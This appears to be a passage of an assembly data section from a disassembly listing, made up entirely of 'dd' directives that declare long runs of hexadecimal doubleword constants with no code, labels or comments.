dd 18E303CCh, 0C105297Ch, 120508B3h, 14370FDh, 0C7408100h
dd 0B729FB75h, 6B0227FEh, 0D7740611h, 0F3049DF0h, 3AB18088h
dd 410FA5BFh, 6E4D286Ah, 899F6FE3h, 0A2B01A71h, 0A2002A19h
dd 5DE82178h, 2EF5F305h, 3C81A7DDh, 53775B01h, 6FE5E955h
dd 0B7AECE12h, 83F827A5h, 0FDC80120h, 2221F1AEh, 2BED1A16h
dd 0AD78FD2Eh, 0F742E0Ch, 0A02D2E5Ch, 0B213E907h, 3B68147Bh
dd 0B9805163h, 0E931F920h, 3A5FA5Dh, 7AD5C181h, 6AB4979Fh
dd 2D2D7DFCh, 74A5DEDEh, 0D7E9C24Fh, 0CBE4A077h, 4F7A5548h
dd 1C5DA910h, 5F2D1FA4h, 0F02589Eh, 0A368C8BFh, 774CF53Dh
dd 530E4Dh, 0A03313BBh, 13B2BA6Bh, 9EB5236h, 370658B5h
dd 891F0C0Ah, 55AD0132h, 3408F988h, 0B214170Ch, 0B1510F7Ah
dd 0E25D098Ch, 796A55ECh, 682D63FCh, 103E2842h, 24C06BE9h
dd 5F725201h, 57210946h, 228D9FBFh, 415BD913h, 65C171C0h
dd 41D2481Ch, 0BD66F102h, 8FE0B33Bh, 0F3250368h, 0A0455C48h
dd 3DE91708h, 0E803A502h, 0F397921Dh, 5FB8EF8h, 499DEB13h
dd 0AE38D42Ah, 0B6CB6AF9h, 0ABF50EA9h, 4222766Ah, 444AC2B9h
dd 51004A7Fh, 0A7454AB0h, 0CFBA15F4h, 165020EDh, 0E25582C1h
dd 1058DD1Ch, 25EA16EAh, 4A5C0B52h, 0F89C31EFh, 0D58C7E5Fh
dd 29425D53h, 0A4C9D837h, 7A1BC2Bh, 181C26BFh, 256BF40Bh
dd 0AE6066E2h, 6B0B2DFCh, 0FEEA8755h, 96D31908h, 9E142873h
dd 127CF08h, 0ECC061B4h, 54063F03h, 0F0659F4h, 58E62850h
dd 0D068CE3Ch, 1FCE8FDFh, 456EEC0h, 520766ACh, 0F028FEB6h
dd 0C3AF5A64h, 27845DD6h, 4832CC7h, 3880F4FEh, 0BEC828ACh
dd 0DD051869h, 709D885Ah, 4EDDF449h, 66239C1Ch, 0BBFC504Bh
dd 0EAEC9098h, 66B8CCE6h, 0ACBC9B2Eh, 0E1885185h, 55F087FFh
dd 77F0E8F9h, 36BD9BFh, 4F21685Ch, 66A8AB84h, 0DBD60BF5h
dd 4F0F1EF7h, 0F514FEF6h, 0A3BBE508h, 0A4A2D2D3h, 8591A85Eh
dd 0E4AA36A9h, 0E3F2DDD9h, 0DE283158h, 0CECA7409h, 782097FAh
dd 6D1748BDh, 0E505D2Ch, 0A383A04h, 7B7AE8AFh, 0C9F7B09h
dd 34AB8252h, 0D16960FEh, 0D03905EAh, 0B0D6840Fh, 432D6883h
dd 99EC671h, 4DF64099h, 0C0025E84h, 0A56FCD1h, 1FD70348h
dd 1E737020h, 21305E9h, 80104139h, 0DA7294AEh, 10EF595Fh
dd 0C05B08ACh, 0C21A9DC0h, 0E9463909h, 73BAB3Eh, 8D0C3123h
dd 0EC2A4E51h, 3085A459h, 1A3C76ABh, 5940B809h, 2001588Fh
dd 0BA2C5A3Dh, 2B009885h, 0F707EAC1h, 8104C0DAh, 0D259FCE2h
dd 31E90638h, 55167577h, 7D255207h, 50E9FF5Eh, 5A5E9E16h
dd 3D280AC1h, 3DE940E3h, 0C1308241h, 3FC445EBh, 87334BB2h
dd 84ED38Ah, 0E98FC8EEh, 6784485Fh, 0B56BFCFAh, 96AB28FFh
dd 0F0A6725Fh, 7DFBFC5Eh, 0F3A4DB24h, 0D588DD9Ah, 4FB0AE50h
dd 1383425Dh, 0C4ACD731h, 74E8E9B8h, 73A8D5D7h, 0F47F7156h
dd 31D39F15h, 8093ADBDh, 3DDDB8B3h, 0F77000ACh, 65BD2DD0h
dd 485B7C3Ah, 90E69F1Eh, 6A39BC02h, 0F88277CEh, 0CCA26423h
dd 0C6550C0Bh, 6A8D2C95h, 41FBA85Ch, 7413AB1h, 4D610442h
dd 483EE22Bh, 0B0500346h, 0F8FA0CB4h, 2EC7883Dh, 931582E9h
dd 8EBBB05Eh, 84BAD949h, 4413BC13h, 18048A11h, 9FE305AAh
dd 163B450h, 41F3194Ah, 0B87FA5E6h, 9012AD55h, 4BA3E430h
dd 0DE9BBA51h, 4559794Ch, 80B3C502h, 69548662h, 0FA431A3Fh
dd 0E679F7A8h, 0E0688AB0h, 0BC43DE4Ch, 0FAC55964h, 5228CBA4h
dd 0E825A552h, 688B73F1h, 7A30D78Bh, 5F818CFAh, 165AF020h
dd 0C44C973h, 0C75B039Eh, 0CA7CF40Bh, 0EFDB253Ch, 7D0C081Ah
dd 681790F8h, 0B9374093h, 0D3F85589h, 1513996h, 68FDE485h
dd 0BE86220Ah, 772D6754h, 3BA1397h, 0BCE94FFAh, 813B5E79h
dd 7F054C6Dh, 6A65EC32h
dd 0DF9D6005h, 59081264h, 9403EA4Ah, 0BD23C77Eh, 51E30B82h
dd 2BC13977h, 70AAB64Fh, 0C9D4301Dh, 0DADC1B54h, 0D8C80672h
dd 0BAE9A32Ah, 498D895h, 52749FBBh, 4566801Fh, 1650EC6Ch
dd 202868B8h, 0FF20D4B8h, 0B450161Dh, 0E8D00EFAh, 0D0A2C461h
dd 0AD2288E4h, 0DE010C8Dh, 5B80E16Ah, 56C42D68h, 0C370C37Eh
dd 3E556458h, 22BA999h, 21E422EBh, 0B0D477D7h, 7D8C5B18h
dd 692D3901h, 917AB007h, 19D17141h, 10FD45BBh, 0A3750790h
dd 0C0964F11h, 0E7685FD3h, 459075BAh, 0A06D6958h, 9448D668h
dd 0BB53407Fh, 73091097h, 0C1FCE957h, 883E5C0Ah, 0D6400A31h
dd 43CB0681h, 0AA7FF36Bh, 4940901h, 1529E980h, 0A36C8C2Bh
dd 0C93BCA41h, 40093E22h, 2544F6F4h, 5FE7CC7Fh, 0E66F134Bh
dd 909A7485h, 16BC71F1h, 68985307h, 3CB22A5Bh, 5BD59650h
dd 31832CFEh, 765DEA25h, 3DB982ECh, 0B1C0D053h, 0B2B004E1h
dd 0C006026Eh, 0F864BD55h, 14E3E9Eh, 0C0CD3664h, 0EABEED1Fh
dd 399F0F26h, 80D32F2Fh, 322CE5EEh, 9C4A9D26h, 14E90801h
dd 5B883AF3h, 7C9C0408h, 0EA5E4CEDh, 0FAA4EDEDh, 2D217DDEh
dd 0D12EE905h, 5584C690h, 847D4F8Fh, 0E804C690h, 0E90384FDh
dd 0F8D154E6h, 693F6002h, 20E63CCFh, 0FDBA5A0Fh, 0C8277A23h
dd 0A69DD19Bh, 0C1F549CEh, 883D56DEh, 8D7327C4h, 0F49F60E5h
dd 455C4D98h, 16A70052h, 0E6813523h, 4CAEECA3h, 892D9328h
dd 9EB7F446h, 0FA534AC3h, 0B8B92E57h, 0FEF92576h, 5395AD4Ch
dd 0CA01016Bh, 2F5AEFE9h, 4B4CF8F7h, 21297289h, 8BC5465Fh
dd 5E37FAD2h, 1E7928DFh, 8FD05A1Dh, 0C7753A68h, 355BA316h
dd 303D8016h, 590CF78h, 50E3C520h, 1F8BCC4Dh, 15A0497Fh
dd 3114B66Fh, 97849DE8h, 546802CFh, 819F710Ah, 635B45FCh
dd 6F9FDDE9h, 0E05AEFA2h, 935FC6E7h, 0CBA46EBCh, 5C977A90h
dd 0D41D0D77h, 0CEC36FF0h, 0F8CA0AF7h, 0C9D665Bh, 75DB1D9Ah
dd 127E2841h, 0C457BE0Eh, 0F65084ABh, 84409294h, 2EF02384h
dd 0DFE91655h, 0C2135632h, 5E57C6B4h, 39133FABh, 0D7D447EFh
dd 27068608h, 87A1F6B7h, 0A093258Bh, 6BE9D609h, 517009Ch
dd 0A2E8D1E5h, 0FE95DA51h, 0FBE76783h, 7505625h, 0C4D28EE9h
dd 0B76A5Ch, 0F2E95807h, 81D4977Eh, 4C39349h, 1828D40Ch
dd 3EECBA22h, 679168C0h, 0E92D400Bh, 5FA484B3h, 204F3AEh
dd 177AF4BBh, 0F7DC154h, 84707A97h, 0D736BB30h, 662FB2Ch
dd 61DBE90Bh, 990881E5h, 0EEBE1362h, 5AED885h, 0BEC7AF93h
dd 40D33088h, 4E605B97h, 9106C540h, 406FFA4Bh, 5277ACF5h
dd 20123C2Dh, 0B5259D7Fh, 0C2011842h, 3A48AC50h, 0E91B8204h
dd 0B5FE2420h, 0A3582F60h, 5340682Ah, 0D34CF754h, 0BB05214Dh
dd 0ABA74DDCh, 247CE6C6h, 0C8EFE4BCh, 0D977C9A5h, 9F8072B4h
dd 1B9F4673h, 0A70EE9F8h, 0C0793F35h, 544194F1h, 0BEFB825h
dd 78CBAEACh, 5FE89689h, 8299F0A4h, 0EC804F34h, 300FCCEBh
dd 0A60C11CFh, 555A6C08h, 8AC3C5C2h, 1422E708h, 8FAC2FF9h
dd 4B64E916h, 1AF45CB2h, 80D26FC2h, 3EEBE84h, 164258E5h
dd 0B23C305h, 293FC0Dh, 292A9D9Fh, 5457DF5h, 7A7EFE27h
dd 0C26BA382h, 1D61BE00h, 5C7A603Fh, 3E4D5DF3h, 20BCDAB7h
dd 60BF68D7h, 9BA6A5Ch, 0FD89AB5Ah, 0F70BABC5h, 6989F5DDh
dd 873892FDh, 2979169Fh, 1C6DED8h, 0D41A79F2h, 9FE06B27h
dd 541C788h, 568EDB7Dh, 280B2AAEh, 63087783h, 7099A909h
dd 0E6E30795h, 17247A30h, 3BE9124Eh, 0A692BC36h, 0E5E841E2h
dd 72FA4156h, 8915C459h, 0DD97CE75h, 162DCAA5h, 1922BF0Dh
dd 260BDCC4h, 4E7AE949h, 0DCB70225h, 0D17D6960h, 5B75C932h
dd 0FC74A520h, 7C517772h, 71AE188Bh, 29C4CBD8h, 0D761E912h
dd 96680E02h, 60ED770Ch, 68D805BEh, 0A4B02F5h, 0E17E8B5Ah
dd 0C02A58AFh, 80F18CDFh, 108DF258h, 0FF5BD02Bh, 53F02Ch
dd 80685651h, 5E33F65Ch, 0D8EED127h, 0B2CE097Bh, 3202F1FAh
dd 8009C0D9h, 0BC5C1AA8h, 98297F76h, 5F088116h, 93F3A63Bh
dd 66422103h, 0A665955Bh, 5A18D519h, 5CCAF470h, 1E4A2F59h
dd 0F0019316h, 730BF23Dh, 555B6417h, 2E533E02h, 123C59D1h
dd 0AED15846h, 0F66A0C64h, 0EFD475ABh, 1ECC621Fh, 0CD29021Ch
dd 0FDC2CC2h, 0C4BEB00Fh, 0A4106A51h, 5EF8E325h, 42281C7Ch
dd 0BA0FD2E0h, 4FEA2D6Ch, 25A9A957h, 31BA5A8Eh, 42DEF730h
dd 907FACEBh, 0DFE83002h, 130E56F9h, 0C012E26Dh, 0F607EBC0h
dd 3CE3EAD3h, 0C8378008h, 0CD19B80Ch, 0A8000C06h, 0E917D820h
dd 0B3D5A7E0h, 5ADCA0AEh, 0C1685003h, 651EDF63h, 911C1069h
dd 51BBA1Ch, 85EF87AEh, 5B5CE804h, 23938BFh, 0B3A5869Fh
dd 3225203Eh, 0D147A680h, 94FF1B9Dh, 63350912h, 6CB26534h
dd 34E71222h, 0BA9906A6h, 395636B0h, 0F112D689h, 7EB2EA5Eh
dd 934FA8F6h, 5AF386A8h, 0E868A50Ch, 9A81717Eh, 0DFF39F8Ah
dd 64D96389h, 0E3FE4C61h, 12CF8C84h, 124422B4h, 0BD611E94h
dd 0D021C53Dh, 0FE36C2h, 2801B353h, 3449D97Ah, 16F74C30h
dd 9663181Eh, 0FCFEEA57h, 0ED68508Ch, 15A73E53h, 2DC198E9h
dd 0F6187853h, 93ACCEDh, 1767B164h, 0BD4C12Eh, 58067BBDh
dd 0FB6EA168h, 0D2E1DE4Ah, 0B549B92Bh, 0CA78F3FBh, 0EF4A7854h
dd 0D72A7300h, 9841592Eh, 5236A949h, 0F249FD7Eh, 7D8ECA10h
dd 0C5CE8553h, 21900FA5h, 48654E2Dh, 0F138BC1Ch, 195E8D2Dh
dd 123B8C3Fh, 9190C3Ch, 2D3F6DF0h, 0E95FE0FFh, 4243608Bh
dd 5E646FB9h, 0E9166E4Bh, 0B7484EAh, 985F5A0Bh, 0CEDAA66Eh
dd 0BD7287A2h, 0E128898Eh, 0A82A66E5h, 5E1DA30Ah, 6B72F4B1h
dd 78B02F2Dh, 0ABDB05AEh, 81297538h, 3AFD869Dh, 67E38D44h
dd 23AE0F12h, 0CCDED32Fh, 0ED17353Dh, 4C07110Bh, 7242751Ah
dd 22E90801h, 0A714282Ah, 0BD00D7C4h, 62EF604Dh, 0CF58130h
dd 0C31950Fh, 77295DEEh, 0BE48ABB4h, 0EB6ED87Eh, 0CB281D36h
dd 0C14A6E89h, 2E5DD768h, 0E0FBE235h, 0DB28E930h, 0C01E99EBh
dd 540903E0h, 46F7220Ah, 99664621h, 0C0BC1295h, 37DFBD6Eh
dd 0D6BB8650h, 0F745B754h, 5268E10Bh, 0E28F562Ch, 1B5CCDC1h
dd 2548FB63h, 0CEDF5B38h, 61E9517h, 24BD555Bh, 3A8468C2h
dd 6EC5A0A2h, 89BF5004h, 0AFE04538h, 20C29E98h, 470EFED1h
dd 6B67C120h, 0F60F8003h, 0F41FBD54h, 313DF3E1h, 36044A76h
dd 59488EFAh, 0D4A610E8h, 0F24BBA7Ah, 0EC3754F4h, 483F0CE6h
dd 0F0C4A77h, 2B0D3E12h, 0F03FB08h, 46459968h, 9E5AB23h
dd 0E11F38E8h, 0A0BDA87Ah, 9D6082E9h, 59189320h, 5B4B29E1h
dd 0B72904FFh, 0BEF7ABA7h, 0A946495Bh, 89B0F9F5h, 0B0207C64h
dd 5E4812E4h, 8CE3BA1Dh, 0AFD6A6DFh, 0C4FE9856h, 6653C1C5h
dd 0C1516C10h, 28D006B8h, 0AB7EC07Fh, 609FB015h, 1E5705F3h
dd 901E95BFh, 6921046Eh, 5FB47F8h, 0E292BE80h, 1D884EC3h
dd 206801C5h, 78E93AD9h, 5248075h, 0FEDFFDA1h, 4D73BF89h
dd 41AF5E2Fh, 6F1B4768h, 5D7EE8B6h, 45581838h, 36055F01h
dd 3ED19466h, 7F4205C9h, 92ADDE13h, 25AE838h, 26837080h
dd 9E6DD89h, 0ACDF6BDh, 89F56C29h, 0B3571422h, 42CCD1E2h
dd 0FEF1B782h, 8BE3F3A7h, 334D01EFh, 0EFC2DB29h, 9959088Bh
dd 9B9A046Bh, 1032EC12h, 0AB4FF770h, 77339281h, 1580DD6Fh
dd 1313BA88h, 20733DAFh, 402DA3B4h, 207BF14Ah, 5D4C9808h
dd 6648E516h, 2B58E54Fh
dd 4F9B30F0h, 28FFA4D3h, 44C44912h, 0F84AAFFCh, 7947657h
dd 281E7C08h, 778D2716h, 0E92C0A14h, 0FF12B6F9h, 2BB639AAh
dd 81BA9400h, 3D518B2Eh, 0FD0639BDh, 6CD53116h, 867303BFh
dd 89D4BFF0h, 0C0D4F2EFh, 0D21BA068h, 35B4E47h, 133C0502h
dd 6940AFE4h, 0D71AD9E7h, 8F475C3Bh, 5151B310h, 0A3584077h
dd 0D9A39102h, 0CB817639h, 5ED283BFh, 0FC6B52CAh, 56E83293h
dd 0B4BDFECBh, 0D622CB7Fh, 0D10B3F7Bh, 8015671Dh, 2B2ABB53h
dd 8CC06C86h, 6D504575h, 6E501C1h, 0DD32E957h, 58ED7BFEh
dd 27C90B9Fh, 2484E06Ah, 0AD3E1D1Ah, 51248B17h, 79C360CDh
dd 255BF929h, 88A10FEh, 970F9840h, 130B6466h, 193249h
dd 87D4092h, 83729552h, 36D9120h, 9D5663BFh, 0A1DA4F4Ah
dd 0B90BBFD0h, 1951B98h, 6068C9F9h, 0DB6DC5h, 0BBD63862h
dd 5FE9CB01h, 5DAD024Bh, 3241E184h, 0C835E254h, 1D6405D8h
dd 4072BF55h, 81EC44C1h, 0CEB0C501h, 907CF26h, 5B595D61h
dd 50814E34h, 6014B8CDh, 3DE10C6Ah, 3D906B33h, 8AFDB0Bh
dd 0CFE05F69h, 0D9971AA4h, 3776064h, 97A025E7h, 3E272754h
dd 88D5458h, 52076739h, 0D726E288h, 0DF843448h, 40EF0117h
dd 683CC611h, 0EEA84E94h, 0E928BF4Bh, 66574053h, 2F3A2FB4h
dd 0BD167E58h, 8A1105Bh, 1C300858h, 0B61EDA1h, 0F2339734h
dd 0FBAB01FFh, 3F13EF2Ch, 8A1CFC04h, 4EF58ED3h, 9D9FAC30h
dd 56710312h, 4B577B81h, 0C86D5182h, 91020756h, 17D26BF3h
dd 1C779B29h, 69F0D62Fh, 4991A220h, 12D153Dh, 0A00ED94Ch
dd 552B900Ch, 0F12BA854h, 3AEF650Fh, 0FB2D72C0h, 5B982D51h
dd 720F6FCh, 0D1BAE913h, 0F04BAFDh, 0AF6EC111h, 20F67D7h
dd 0FF8966C0h, 82FDDCCAh, 0F9E26FD1h, 72DB42BAh, 0EC58F529h
dd 26C9D495h, 0F2A02F1Eh, 0E72ACBE5h, 3DDA4450h, 1293BD80h
dd 0AA129B1Ah, 0E9098CB6h, 9A5D1737h, 1DC78D7h, 451B2A6Eh
dd 6E2103E9h, 4E291498h, 0B14BACFEh, 0AE150A4Fh, 0A2D7F8F2h
dd 27572A6Fh, 685F55A0h, 991FD825h, 65352DF5h, 0C8C8B602h
dd 17665B9Fh, 0D02E0D68h, 0F672B6F0h, 0C2FEDE4Ah, 545D0569h
dd 59843D97h, 0E47BB353h, 6016F385h, 89A171E9h, 88EDB63Bh
dd 0D37D0C1Ch, 9A905980h, 64FAB325h, 0B666FEBEh, 0CAF525D5h
dd 6789DDFAh, 2583E4DDh, 0C2525E56h, 0EC1E4509h, 697F0026h
dd 3D5D8375h, 646D21E9h, 0FB9CE3CDh, 0AD04F752h, 8C9446BEh
dd 39E891D0h, 4F55725Ah, 0FDC1C921h, 4EA04FCh, 0E44068DFh
dd 6C9C1C8Ch, 2D175912h, 0E2D8F5E8h, 25047CBBh, 0EBD14175h
dd 7FE5EFEh, 6F71215Ch, 251ABB40h, 0C14EE946h, 5705BB0Bh
dd 5426DDC3h, 2E0720D0h, 572B163Fh, 395074A7h, 0B656EF9Ah
dd 0F5F18156h, 0A3AF9654h, 6A301063h, 36EC8009h, 0AFCD8357h
dd 0EF2B2552h, 0FFC9445Ch, 28B1D0E9h, 0FE881361h, 18163DE6h
dd 0E8014141h, 69469601h, 0DB551F20h, 0C6E5F67h, 250A2CBh
dd 0ACA5B5h, 0CE80A4B6h, 0EE24AA73h, 781A36ABh, 8DE1DD12h
dd 0E66385BBh, 3280B734h, 280E24C1h, 4AA675F7h, 272BF2A8h
dd 0FB3CE85Bh, 3E0095DFh, 28E9EC7h, 0C829783Dh, 0F360B7B5h
dd 5097B250h, 0BAFA7EAh, 29030530h, 8202754h, 0FC5BD396h
dd 81E7F8BEh, 33A840B3h, 0CBA3F26Ah, 9A28D7F3h, 0B4E525C6h
dd 0FDFE09AFh, 0EF09B394h, 89231A3Ah, 820EF015h, 0C00DD08h
dd 5D45C558h, 0D8EA1ED6h, 0DB517D63h, 0C6F1D483h, 0BCBD0AC0h
dd 0FE1E693Bh, 123A9613h, 3E49A95Ch, 5C01C07Dh, 4E7F9EC7h
dd 0C727FCD5h, 3D351C90h, 183C3481h, 89C99D7Ah, 5C711718h
dd 88C1B039h, 6F7FEA67h, 150C5598h, 0CA370743h, 0EC253283h
dd 0BC49C87Ah, 0EF0E205Ah, 4BE28D5Ah, 674A7205h, 7BE0FE29h
dd 7E00959Eh, 6AA1685Eh, 884E7BFh, 0C0243BD3h, 5647E501h
dd 54EE31EFh, 0D94688EAh, 3132B26h, 0E751CBE9h, 9177373Dh
dd 0E9028377h, 7955D792h, 0FEDDE794h, 0B9F1AC40h, 0BD69CB3Eh
dd 0C0952F50h, 80044B67h, 4F79EFBDh, 604B1B7Ah, 0F3BF0212h
dd 61AE9261h, 2F1A2CCBh, 9510AA3Ch, 29C22976h, 74AF62F2h
dd 0DE090E43h, 0B853C3EFh, 2CD2D0A1h, 519D0737h, 0B7A0579Eh
dd 0F890E5D8h, 2DF5014Ch, 7A04DDC4h, 9CF7C050h, 5B0EDE08h
dd 68BB151h, 3F1E59CEh, 75F5286Bh, 125A61EBh, 5016E971h
dd 1AEABDA9h, 0A65F3B2Ch, 8217AB09h, 58C0E98Ah, 805697B1h
dd 0BF90CA50h, 7177F7BAh, 0AF66C5FFh, 0A80DE921h, 515F2902h
dd 0B25797D4h, 92C98492h, 71C0413h, 10C9F9F1h, 8117B2FAh
dd 464504E3h, 0EE67C20Ch, 0D3C0104Ah, 5225F329h, 0A9AF5F50h
dd 403CBB97h, 0A774AE9h, 0CB7ADD6h, 0CF61B417h, 48447B09h
dd 0F7920502h, 89F7C1EFh, 0FBD044FBh, 0AFA90412h, 0F05A1F9Fh
dd 6E684788h, 85F15659h, 0F5B96CF1h, 3F12D6h, 847A1C12h
dd 0D62FE95Fh, 5FBC2D10h, 406BD720h, 0ACEC5262h, 0EB49DE62h
dd 0B50DFD50h, 0BDAE10EAh, 81E1528Ah, 5872EDB6h, 0C82065Dh
dd 343F654Eh, 68024C51h, 7E424730h, 228709F2h, 0C44FB4FEh
dd 0DD987F3Eh, 0CE1A0F4Eh, 0E0D7E934h, 3DF8B820h, 4763826h
dd 224A7802h, 61DE8B26h, 0A961BF85h, 4307461h, 295E801Bh
dd 0EC55C378h, 34743BE4h, 29920780h, 7D5BFDh, 7851C209h
dd 12B84877h, 0AAC9964Bh, 37285CE1h, 0B5D6825h, 19CCC42h
dd 80377FEAh, 44CA2925h, 0E90802B5h, 9AF569FDh, 0DD2384CBh
dd 0C1A4F317h, 44427BEDh, 0A2DD3120h, 0BB080AA1h, 0E8895000h
dd 0BA74A0E9h, 0CA681344h, 8853E923h, 0BD5B13FDh, 6C0B9665h
dd 0EF1B5E55h, 43C2133Fh, 6D75BA30h, 1BD447C2h, 7305D210h
dd 404BCF60h, 304FEA95h, 0CCF7A3Eh, 0DBD684A6h, 417C12E4h
dd 0A3136B37h, 9CB5AACDh, 362AAEF0h, 36AB454Bh, 80CEAA90h
dd 4191417Ch, 47A78A6h, 13505BBh, 0A6C381C6h, 0B560DE64h
dd 5481A83Fh, 976C93D8h, 0E5EFE751h, 0F77EEBFh, 7ECA75C2h
dd 3A054F75h, 0CC11E4ADh, 38E505Eh, 6431A350h, 8301C30Fh
dd 0AD2F48B1h, 7F106266h, 8BD44183h, 65D261F1h, 0EBB02BB3h
dd 0EF7E9E28h, 0F8566969h, 0D85A12h, 32DF0468h, 0F35B1A5Fh
dd 6E4650B6h, 6D424500h, 28AC981h, 0E48BA1FDh, 1673FC38h
dd 92929984h, 5C552892h, 606863F2h, 64389895h, 0E351440h
dd 2C801ACAh, 0D049ABA1h, 89F7C550h, 0D4B11327h, 27B262D9h
dd 3D62457Ch, 0B7020965h, 5DD9436Dh, 0B8CC918Ah, 9764C2Dh
dd 2A7C2594h, 0B1701D0h, 4AE52126h, 0CDEA0804h, 0DFF6008h
dd 0CB076299h, 7FE90229h, 66076722h, 0DF825E71h, 403F73Dh
dd 8F90ABEAh, 95CE34E9h, 3D28B947h, 82A90C97h, 77861EC4h
dd 0C280D3DCh, 0F8FFBB93h, 0D8292FB4h, 90AD14FDh, 25657A68h
dd 775A4Ah, 66DBCED5h, 83262493h, 68550047h, 625619B8h
dd 691ED0B9h, 752063B0h, 0B16A4A85h, 0CEF47AFEh, 0BA2C1869h
dd 215E9873h, 554D0A2Dh, 198AF7A0h, 894EFDD9h, 68829DB9h
dd 31FE15E3h, 5A17A560h, 7F972Eh, 0E48EF601h, 0E9450B43h
dd 3E495933h, 0B5F65424h, 0D9853FF3h, 0CBA5D1EDh, 6A7D178Dh
dd 76F28FAAh, 949702ECh, 13F79DBAh, 3568A1C9h, 799D56C6h
dd 2EFED91Dh, 257BEFB6h, 0B355E772h, 0D8D7DA47h, 0EAF8B763h
dd 5C283800h, 0DA9E2D68h, 0EF585F48h, 12171754h, 0E0BA6745h
dd 181FC41Bh, 0CB0142C5h, 4A9E0D56h, 5EEABB40h, 0C156069h
dd 776572A5h, 0D697E91Ah
dd 8DB5169h, 9224F163h, 83025426h, 0E03F7329h, 80A60435h
dd 800E39B7h, 6ED045EFh, 1073BFC0h, 0D7FA8249h, 569A1D9h
dd 71FFB447h, 2EC5E5E6h, 0FACE9522h, 56EF31A9h, 8955BD23h
dd 0B06D1515h, 8006BE05h, 76168105h, 1DBA0855h, 0B284F9D9h
dd 800E4771h, 0F403C11Bh, 15E96712h, 0D9BA9917h, 29AE591h
dd 2E58D5BDh, 0C3D5E8B5h, 65808241h, 7925546Bh, 294BA2F6h
dd 4492B2B9h, 0BB4E122Ah, 5F958828h, 7BAA4194h, 271F1E5Dh
dd 704A137Ch, 37340660h, 0E9290AAEh, 898F35C7h, 0D28F81D9h
dd 0D3DAC66h, 18CD1C13h, 26B2AC01h, 1883705Eh, 287F6248h
dd 897599AAh, 0E2965B1Eh, 520243B4h, 420DD468h, 5A058FD6h
dd 6F941697h, 0F67EC4B1h, 7FC3C54Eh, 50B862EBh, 87222A74h
dd 487F3020h, 0CC405D5Fh, 2D470EE3h, 15410641h, 4405D001h
dd 0CDE9C107h, 0E8313FF4h, 0DD3F69ABh, 495440BFh, 62484701h
dd 0AA5F2423h, 1BE1046Fh, 3513DAA9h, 0EF9A40D0h, 3A6C1F1Ah
dd 7D560CC0h, 682901E5h, 3408E0D7h, 0BF14240Ch, 595A10B0h
dd 0B6C48E57h, 0DCB2AB29h, 741D680Bh, 51335Dh, 6F27D2A8h
dd 9BF5761h, 7C754304h, 0AF2FA31h, 0A61E0896h, 4FFAC12h
dd 1672E3CDh, 0ED2F0FA1h, 5FE9B006h, 68ECC2F6h, 335D6598h
dd 728AFA65h, 0E1E395BCh, 2A46D4C9h, 939BB2A8h, 7B7398E1h
dd 2F78DEADh, 3973F11Fh, 0E14B3CA8h, 2DCAF125h, 0BD555201h
dd 6064127Dh, 312ED08h, 6AC1FCE9h, 0C23FF580h, 41095A94h
dd 0C0391C13h, 81E1F45Eh, 99CC6C5Ah, 9CC89C01h, 0F397B156h
dd 77E47A9Dh, 0B7F2B5EFh, 0F95B4426h, 3155AC3h, 6194F531h
dd 18D9AE4Ah, 0F490ADBFh, 0BDAB88B3h, 5F97D720h, 116B1AAEh
dd 300B7C4Dh, 2480512Ch, 0B7AC2218h, 9012675Eh, 0F7C3AF82h
dd 87A01EF2h, 6926BC33h, 0C0257A61h, 39A4B884h, 2D1E4D38h
dd 0D893C912h, 90572F6h, 0F835EF7h, 0C01683AEh, 25576F0Dh
dd 0BA30301Ch, 9891EF6Bh, 65199DA6h, 9E8ED73h, 0FC0D5BA9h
dd 401B0AA3h, 6B129A32h, 0E515C4D1h, 0C03AC104h, 81EE136Ch
dd 9E4F718h, 875E1CF5h, 8D997CDh, 5D25083Fh, 0FA9549CCh
dd 0F65F4A1Fh, 27EE5851h, 5E9E9C22h, 580BF0CBh, 0E4115195h
dd 0B0D0118h, 40DEC357h, 285D8D31h, 2EC541Bh, 79CD4FE6h
dd 0F2C1E821h, 0FDE6D2Dh, 0E039B2F6h, 895DEF29h, 0C4E92AFAh
dd 830C978Dh, 3924D3E6h, 0F607FD1Ch, 43767590h, 5DDF050Ch
dd 1312170h, 5FF909C3h, 0FF402183h, 777EBB98h, 5CC4684Ah
dd 0B5DF37B8h, 9484412h, 95B8305Fh, 25690079h, 0E901E883h
dd 0DF9916D1h, 97EFAE03h, 0DFD0DA2Ch, 680468D9h, 0BCBC2556h
dd 7A161BC3h, 20E9C199h, 92B2C380h, 80772875h, 83069160h
dd 0A0CC0458h, 915DF1F1h, 1C222C71h, 0C0722F6Ch, 5A137E13h
dd 7049831Eh, 7F042267h, 20E8D0F5h, 577BBD09h, 64481A27h
dd 4C52FCB9h, 4931B6Ch, 129F9A1Fh, 0EBD452AEh, 0D83149E1h
dd 2449CAE4h, 479A7C92h, 0BD01E812h, 0EB7781Ah, 2050330h
dd 0E9764F2Bh, 0B6C5CC3Dh, 66DDF604h, 0E6F55B92h, 86812E7h
dd 0B1A450Dh, 4572BEC9h, 7F094051h, 1121250Eh, 0F5683AC0h
dd 69EB76BDh, 0CD4B2564h, 4AA7235h, 0E4CC6h, 77F9CBFh
dd 56ADF455h, 3B6C36DCh, 6094C2E0h, 4A278C96h, 13962EC1h
dd 92425670h, 8AC19FC3h, 63166FE7h, 2BF829FBh, 31D4E304h
dd 0AE305905h, 0A36BF8E1h, 48C58C94h, 31481C91h, 0D7C89EC1h
dd 87CCA0F4h, 1B2DF97h, 6F25726Eh, 4669A038h, 9897C4D6h
dd 29C54078h, 0F5257E9Ch, 0E987288Ch, 0F2C01326h, 388A3CBFh
dd 0F3FDCA5Bh, 0DBF3BEE4h, 2EA7E909h, 6FA04990h, 0F654CEBFh
dd 0FD735EC9h, 0B4ABB413h, 1109BE21h, 11BB377h, 0C935A5F1h
dd 4EF26430h, 57CDC15Eh, 7A4060EFh, 39809D40h, 0F49DA0C4h
dd 0CAEC811Dh, 0CA376866h, 0B524F652h, 0FC1871DBh, 3034EE85h
dd 0F6529851h, 0A2EEF330h, 84FDF195h, 0EF91ECE9h, 0DDD7F849h
dd 2B55D731h, 3AF17DAAh, 26E995B0h, 0AF93C96Ch, 5D3AB8FDh
dd 0DAF99D7Dh, 693FBA81h, 0C53E7AEAh, 0A5B1A81Eh, 3CAFCABBh
dd 0CF8D5B0Eh, 0CBF1BD6Fh, 88484C54h, 542D681Fh, 2FE96216h
dd 8820C39Ch, 7CBD380Dh, 0DCA8BBA1h, 0E2C11D58h, 52832EB4h
dd 763D0C82h, 60DE2869h, 0FFDD5A0Bh, 36150767h, 0F6977DBFh
